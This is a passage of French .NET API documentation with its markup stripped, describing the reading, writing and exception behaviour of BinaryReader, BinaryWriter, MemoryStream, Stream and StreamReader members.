actuel et avance la position actuelle du flux de deux octets. + Entier signé de 2 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 4 octets dans le flux actuel et avance la position actuelle du flux de quatre octets. + Entier signé de 4 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 8 octets dans le flux actuel et avance la position actuelle du flux de huit octets. + Entier signé de 8 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un octet signé dans ce flux et avance la position actuelle du flux d'un octet. + Octet signé lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une valeur à virgule flottante de 4 octets dans le flux actuel et avance la position actuelle du flux de quatre octets. + Valeur à virgule flottante de 4 octets lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une chaîne dans le flux actuel.La chaîne est précédée de la longueur, encodée sous la forme d'un entier de sept bits à la fois. + Chaîne en cours de lecture. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 2 octets dans le flux actuel à l'aide de l’encodage Little Endian et avance la position du flux de deux octets. + Entier non signé de 2 octets lu dans ce flux. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 4 octets dans le flux actuel et avance la position du flux de quatre octets. + Entier non signé de 4 octets lu dans ce flux. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 8 octets dans le flux actuel et avance la position du flux de huit octets. + Entier non signé de 8 octets lu dans ce flux. + La fin du flux est atteinte. + Une erreur d'E/S se produit. + Le flux est fermé. + 2 + + + Écrit des types primitifs en binaire dans un flux et prend en charge l'écriture de chaînes dans un encodage spécifique. + 2 + + + Initialise une nouvelle instance de la classe qui écrit dans un flux. + + + Initialise une nouvelle instance de la classe en fonction du flux spécifié et à l'aide de l'encodage UTF-8. + Flux de sortie. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + a la valeur null. + + + Initialise une nouvelle instance de la classe en fonction du flux et de l'encodage de caractères spécifiés. + Flux de sortie. + Encodage de caractères à utiliser. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + ou est null. + + + Initialise une nouvelle instance de la classe selon le flux et l'encodage de caractères spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux de sortie. + Encodage de caractères à utiliser. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + ou est null. + + + Obtient le flux sous-jacent de . + Flux sous-jacent associé à BinaryWriter. + 1 + + + Libère toutes les ressources utilisées par l'instance actuelle de la classe . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur le périphérique sous-jacent. + 1 + + + Spécifie sans magasin de sauvegarde. + 1 + + + Contient le flux sous-jacent. + + + Définit la position dans le flux actuel. + Position dans le flux actuel. + Offset d'octet par rapport à . + Champ de indiquant le point de référence à partir duquel la nouvelle position doit être obtenue. + Le pointeur de fichier a été déplacé vers un emplacement non valide. + La valeur n'est pas valide. + 1 + + + Écrit une valeur Boolean de 1 octet dans le flux actuel, 0 représentant false et 1 représentant true. + Valeur Boolean à écrire (0 ou 1). + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un octet non signé dans le flux actuel et avance la position du flux d'un octet. + Octet non signé à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un tableau d'octets dans le flux sous-jacent. + Tableau d'octets contenant les données à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + + a la valeur null. + 1 + + + Écrit une zone d'un tableau d'octets dans le flux actuel. + Tableau d'octets contenant les données à écrire. + Point de départ de à partir duquel l'écriture doit commencer. + Nombre d'octets à écrire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un caractère Unicode dans le flux actuel et avance la position actuelle du flux en fonction du Encoding utilisé et des caractères spécifiques en cours d'écriture dans le flux. + Caractère Unicode de non-substitution à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + + est un caractère de substitution unique. + 1 + + + Écrit un tableau de caractères dans le flux actuel et avance la position actuelle du flux en fonction du Encoding utilisé et des caractères spécifiques en cours d'écriture dans le flux. + Tableau de caractères contenant les données à écrire. + + a la valeur null. + Le flux est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit dans le flux actuel une section d'un tableau de caractères et avance la position actuelle du flux en fonction du Encoding utilisé et éventuellement des caractères spécifiques écrits. + Tableau de caractères contenant les données à écrire. + Point de départ de à partir duquel l'écriture doit commencer. + Nombre de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur décimale dans le flux actuel et avance la position du flux de 16 octets. + Valeur décimale à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur à virgule flottante de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Valeur à virgule flottante de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 2 octets dans le flux actuel et avance la position du flux de 2 octets. + Entier signé de 2 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Entier signé de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Entier signé de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un octet signé dans le flux actuel et avance la position du flux d'un octet. + Octet signé à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur à virgule flottante de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Valeur à virgule flottante de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit dans ce flux une chaîne préfixée par sa longueur dans l'encodage actuel de et avance la position actuelle du flux en fonction de l'encodage utilisé et des caractères spécifiques écrits dans le flux. + Valeur à écrire. + Une erreur d'E/S se produit. + + a la valeur null. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 2 octets dans le flux actuel et avance la position du flux de 2 octets. + Entier non signé de 2 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Entier non signé de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Entier non signé de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un nombre entier 32 bits dans un format compressé. + Entier 32 bits à écrire. + La fin du flux est atteinte. + Le flux est fermé. + Le flux est fermé. + + + Exception levée en cas de tentative de lecture au-delà de la fin du flux. + 2 + + + Initialise une nouvelle instance de la classe dont la chaîne de message correspond à un message fourni par le système et HRESULT équivaut à COR_E_ENDOFSTREAM. + + + Initialise une nouvelle instance de la classe dont la chaîne de message correspond à et HRESULT équivaut à COR_E_ENDOFSTREAM. + Chaîne qui décrit l'erreur.Le contenu du doit être compréhensible pour les utilisateurs.L'appelant de ce constructeur doit vérifier que cette chaîne a été localisée pour la culture du système en cours. + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié et une référence à l'exception interne ayant provoqué cette exception. + Chaîne qui décrit l'erreur.Le contenu du doit être compréhensible pour les utilisateurs.L'appelant de ce constructeur doit vérifier que cette chaîne a été localisée pour la culture du système en cours. + Exception qui constitue la cause de l'exception actuelle.Si le paramètre n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne. + + + Exception qui est levée lorsque le format d'un flux de données n'est pas valide. + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié. + Message d'erreur indiquant la raison de l'exception. + + + Initialise une nouvelle instance de la classe avec une référence à l'exception interne qui est la cause de cette exception. + Message d'erreur indiquant la raison de l'exception. + Exception qui constitue la cause de l'exception actuelle.Si le paramètre n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne. + + + Crée un flux dont le magasin de stockage est la mémoire.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 2 + + + Initialise une nouvelle instance de la classe avec une capacité extensible initialisée à zéro. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction du tableau d'octets spécifié. + Tableau d'octets non signés à partir duquel créer le flux actuel. + + a la valeur null. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction du tableau d'octets spécifié, avec la propriété spécifiée. + Tableau d'octets non signés à partir duquel créer ce flux. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + + a la valeur null. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction de la région (index) spécifiée d'un tableau d'octets. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + + a la valeur null. + + ou est inférieur à zéro. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction de la région spécifiée d'un tableau d'octets, avec la propriété spécifiée. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + + a la valeur null. + + ou est négatif. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance de la classe en fonction de la région spécifiée d'un tableau d'octets, avec la propriété spécifiée et la possibilité d'appeler comme spécifié. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + true pour activer , qui retourne le tableau d'octets non signés à partir duquel le flux a été créé ; sinon, false. + + a la valeur null. + + ou est négatif. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance de la classe avec une capacité extensible initialisée à la valeur spécifiée. + Taille initiale du tableau interne, en octets. + + est négatif. + + + Obtient une valeur indiquant si le flux actuel prend en charge la lecture. + true si le flux est ouvert. + 2 + + + Obtient une valeur indiquant si le flux actuel prend en charge la recherche. + true si le flux est ouvert. + 2 + + + Obtient une valeur indiquant si le flux actuel prend en charge l'écriture. + true si le flux prend en charge l'écriture ; sinon, false. + 2 + + + Obtient ou définit le nombre d'octets alloués pour ce flux. + Longueur de la partie de la mémoire tampon qui peut être utilisée pour le flux. + La capacité définie correspond à une valeur négative ou est inférieure à la longueur actuelle du flux. + Le flux actuel est fermé. + set est appelé sur un flux dont la capacité ne peut pas être modifiée. + 2 + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon et un jeton d'annulation spécifiés. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro. + Jeton pour surveiller les demandes d'annulation. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Libère les ressources non managées utilisées par la classe et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Remplace la méthode afin qu'aucune action ne soit effectuée. + 2 + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux et surveille les demandes d'annulation. + Tâche qui représente l'opération de vidage asynchrone. + Jeton pour surveiller les demandes d'annulation. + Le flux a été supprimé. + + + Obtient la longueur du flux en octets. + Longueur du flux en octets. + Le flux est fermé. + 2 + + + Obtient ou définit la position actuelle dans le flux. + Position actuelle dans le flux. + La position correspond à une valeur négative ou à une valeur supérieure à . + Le flux est fermé. + 2 + + + Lit un bloc d'octets à partir du flux actuel et écrit les données dans une mémoire tampon. + Nombre total d'octets écrits dans la mémoire tampon.Ce total peut être inférieur au nombre d'octets demandés si ce nombre d'octets n'est pas actuellement disponible, ou égal à zéro si la fin du flux a été atteinte avant que des octets soient lus. + Quand cette méthode retourne un résultat, contient le tableau d'octets spécifié dont les valeurs comprises entre et ( +  - 1) sont remplacées par les caractères lus dans le flux actuel. + Dans , décalage d'octet de base zéro auquel commencer le stockage des données à partir du flux actuel. + Nombre maximal d'octets à lire. + + a la valeur null. + + ou est négatif. + + soustrait à la longueur de la mémoire tampon est inférieur à . + L'instance du flux actuel est fermée. + 2 + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position dans le flux du nombre d'octets lus et surveille les demandes d'annulation. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit un octet dans le flux actuel. + Conversion du type (transtypage) de l'octet en , ou -1 si la fin du flux a été atteinte. + L'instance du flux actuel est fermée. + 2 + + + Définit la position dans le flux actuel à la valeur spécifiée. + Nouvelle position dans le flux, calculée en combinant le point de référence initial et le décalage. + Nouvelle position dans le flux.Elle est relative au paramètre et peut être positive ou négative. + Valeur de type , qui sert de point de référence à la recherche. + Tentative de recherche avant le début du flux. + + est supérieur à . + Un n'est pas valide. ou a entraîné des dépassements de capacité arithmétiques. + L'instance du flux actuel est fermée. + 2 + + + Définit la longueur du flux actuel à la valeur spécifiée. + Valeur à laquelle définir la longueur. + Le flux actuel n'est pas redimensionnable et est supérieur à la capacité actuelle.ou Le flux actuel ne prend pas en charge l'écriture. + + est négatif ou supérieur à la longueur maximale de , où la longueur maximale est ( - origine), et l'origine est l'index dans la mémoire tampon sous-jacente auquel commence le flux. + 2 + + + Écrit le contenu du flux dans un tableau d'octets, indépendamment de la propriété . + Nouveau tableau d'octets. + 2 + + + Retourne le tableau d'octets non signés à partir duquel ce flux a été créé.La valeur de retour indique si la conversion a réussi. + true si la conversion a réussi ; sinon, false. + Segment de tableau d'octets à partir duquel ce flux a été créé. + + + Écrit un bloc d'octets dans le flux actuel en utilisant des données lues dans une mémoire tampon. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro auquel commencer la copie des octets dans le flux actuel. + Nombre maximal d'octets à écrire. + + a la valeur null. + Le flux ne prend pas en charge l'écriture.Pour plus d'informations, consultez .ou La position actuelle est à moins de octets de la fin du flux et la capacité ne peut pas être modifiée. + + soustrait à la longueur de la mémoire tampon est inférieur à . + + ou est négatif. + Une erreur d'E/S se produit. + L'instance du flux actuel est fermée. + 2 + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position actuelle dans ce flux du nombre d'octets écrits et surveille les demandes d'annulation. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un octet à la position actuelle dans le flux actuel. + Octet à écrire. + Le flux ne prend pas en charge l'écriture.Pour plus d'informations, consultez .ou La position actuelle est à la fin du flux et la capacité ne peut pas être modifiée. + Le flux actuel est fermé. + 2 + + + Écrit le contenu complet de ce flux de mémoire dans un autre flux. + Flux dans lequel écrire ce flux de mémoire. + + a la valeur null. + Le flux en cours ou le flux cible est fermé. + 2 + + + Spécifie la position au sein d'un flux à utiliser pour la recherche. + 2 + + + Spécifie le début d'un flux. + + + Spécifie la position actuelle au sein d'un flux. + + + Spécifie la fin d'un flux. + + + Fournit une vue générique d'une séquence d'octets.Il s'agit d'une classe abstraite.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 2 + + + Initialise une nouvelle instance de la classe . + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge la lecture. + true si le flux prend en charge la lecture ; sinon, false. + 1 + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge la recherche. + true si le flux prend en charge la recherche ; sinon, false. + 1 + + + Obtient une valeur qui détermine si le flux actuel peut dépasser le délai d'attente. + Valeur qui détermine si le flux actuel peut dépasser le délai d'attente. + 2 + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge l'écriture. + true si le flux prend en charge l'écriture ; sinon, false. + 1 + + + Lit les octets du flux actuel et les écrit dans un autre flux. + Flux vers lequel le contenu du flux actuel sera copié. + + a la valeur null. + Le flux actuel ne prend pas en charge la lecture.ou ne prend pas en charge l'écriture. + Le flux actuel ou de a été fermé avant l'appel de la méthode . + Une erreur d'E/S s'est produite. + + + Lit tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon spécifiée. + Flux vers lequel le contenu du flux actuel sera copié. + Taille de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux actuel ne prend pas en charge la lecture.ou ne prend pas en charge l'écriture. + Le flux actuel ou de a été fermé avant l'appel de la méthode . + Une erreur d'E/S s'est produite. + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + + a la valeur null. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon spécifiée. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Lit de façon asynchrone les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon et d'un jeton d'annulation spécifiés. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Libère toutes les ressources utilisées par . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + En cas de remplacement dans une classe dérivée, efface toutes les mémoires tampons pour ce flux et provoque l'écriture de toutes les données se trouvant dans des mémoires tampons sur l'appareil sous-jacent. + Une erreur d'E/S se produit. + 2 + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le flux a été supprimé. + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux, provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent et surveille les demandes d'annulation. + Tâche qui représente l'opération de vidage asynchrone. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + Le flux a été supprimé. + + + En cas de remplacement dans une classe dérivée, obtient la longueur du flux en octets. + Valeur de type long représentant la longueur du flux en octets. + Une classe dérivée de Stream ne prend pas en charge la recherche. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + Élément Stream sans magasin de stockage. + 1 + + + En cas de remplacement dans une classe dérivée, obtient ou définit la position dans le flux actuel. + Position actuelle dans le flux. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la recherche. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + En cas de remplacement dans une classe dérivée, lit une séquence d'octets dans le flux actuel et avance la position dans le flux du nombre d'octets lus. + Nombre total d'octets lus dans la mémoire tampon.Le nombre d'octets peut être inférieur au nombre d'octets demandés si ce nombre n'est pas actuellement disponible ou égal à zéro (0) si la fin du flux a été atteinte. + Tableau d'octets.Quand cette méthode retourne un résultat, la mémoire tampon contient le tableau d'octets spécifié dont les valeurs comprises entre et ( +  - 1) sont remplacées par les octets lus dans la source actuelle. + Dans , décalage d'octet de base zéro auquel commencer le stockage des données lues dans le flux actuel. + Nombre maximal d'octets à lire dans le flux actuel. + La somme de et de est supérieure à la longueur de la mémoire tampon. + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la lecture. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel et avance la position dans le flux du nombre d'octets lus. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position dans le flux du nombre d'octets lus et surveille les demandes d'annulation. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit un octet du flux et avance d'un octet la position au sein du flux, ou retourne -1 si la fin du flux a été atteinte. + Conversion de type (transtypage) de l'octet non signé en Int32, ou -1 si la fin du flux a été atteinte. + Le flux ne prend pas en charge la lecture. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + Obtient ou définit une valeur, exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'effectuer la lecture avant d’expiration du délai d’attente. + Valeur exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'effectuer la lecture avant de dépasser le délai d'attente. + La méthode lève toujours . + 2 + + + En cas de remplacement dans une classe dérivée, définit la position dans le flux actuel. + Nouvelle position dans le flux actuel. + Offset d'octet par rapport au paramètre . + Valeur de type indiquant le point de référence utilisé pour obtenir la nouvelle position. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la recherche, comme s'il était construit à partir d'un canal ou d'une sortie console. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + En cas de substitution dans une classe dérivée, définit la longueur de flux actuel. + Longueur souhaitée du flux actuel en octets. + Une erreur d'E/S se produit. + Le flux ne prend en charge ni l'écriture, ni la recherche, comme s'il était construit à partir d'un canal ou d'une sortie console. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + En cas de remplacement dans une classe dérivée, écrit une séquence d'octets dans le flux actuel et avance la position actuelle dans ce flux du nombre d'octets écrits. + Tableau d'octets.Cette méthode copie octets à partir de dans le flux actuel. + Dans , décalage d'octet de base zéro auquel commencer la copie des octets dans le flux actuel. + Nombre d'octets à écrire dans le flux actuel. + La somme des  et  est supérieure à la longueur du tampon. + + est null. + + ou  est un nombre négatif. + Une erreur d'e/s est survenue, tels que le fichier spécifié est introuvable. + Le flux ne prend pas en charge l'écriture. + + a été appelée une fois que le flux a été fermé. + 1 + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel et avance la position actuelle dans le flux du nombre d'octets écrits. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position actuelle dans ce flux du nombre d'octets écrits et surveille les demandes d'annulation. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un octet à la position actuelle dans le flux et avance d'un octet la position dans le flux. + Octet à écrire dans le flux. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + Obtient ou définit une valeur, exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'écrire des données avant l’expiration du délai d'attente. + Valeur exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'écrire des données avant de dépasser le délai d'attente. + La méthode lève toujours . + 2 + + + Implémente qui lit les caractères à partir d'un flux d'octets dans un encodage particulier.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 1 + + + Initialise une nouvelle instance de la classe pour le flux spécifié. + Flux à lire. + + ne prend pas en charge la lecture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'option de détection de la marque d'ordre d'octet spécifiée. + Flux à lire. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + + ne prend pas en charge la lecture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères spécifié. + Flux à lire. + Encodage des caractères à utiliser. + + ne prend pas en charge la lecture. + + ou a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères et l'option de détection de la marque d'ordre d'octet spécifiés. + Flux à lire. + Encodage des caractères à utiliser. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + + ne prend pas en charge la lecture. + + ou a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères, l'option de détection de la marque d'ordre d'octet et la taille de mémoire tampon spécifiés. + Flux à lire. + Encodage des caractères à utiliser. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + Taille minimale de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + + ou a la valeur null. + + est inférieur ou égal à zéro. + + + Initialise une nouvelle instance de la classe pour le flux spécifié en fonction de l'encodage de caractères, de l'option de détection de la marque d'ordre d'octet et de la taille de mémoire tampon spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à lire. + Encodage des caractères à utiliser. + true pour rechercher les marques d'ordre d'octet au début du fichier ; sinon, false. + Taille minimale de la mémoire tampon. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + + Retourne le flux sous-jacent. + Flux sous-jacent. + 2 + + + Obtient l'encodage de caractères actuel utilisé par l'objet actuel. + Encodage des caractères actuel utilisé par le lecteur en cours.La valeur peut être différente après le premier appel à toute méthode de , car la détection automatique de l'encodage n'est effectuée qu'au premier appel à une méthode . + 2 + + + Efface la mémoire tampon interne. + 2 + + + Ferme le flux sous-jacent, libère les ressources non managées utilisées par l'élément et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Obtient une valeur qui indique si la position actuelle dans le flux est à la fin du flux. + true si la position actuelle dans le flux est à la fin du flux ; sinon, false. + Le flux sous-jacent a été supprimé. + 1 + + + Objet autour d'un flux vide. + 1 + + + Retourne le caractère disponible suivant, mais ne le consomme pas. + Entier représentant le caractère suivant à lire, ou -1 s'il n'y a pas de caractère à lire ou si le flux ne prend pas en charge la recherche. + Une erreur d'E/S se produit. + 1 + + + Lit le caractère suivant dans le 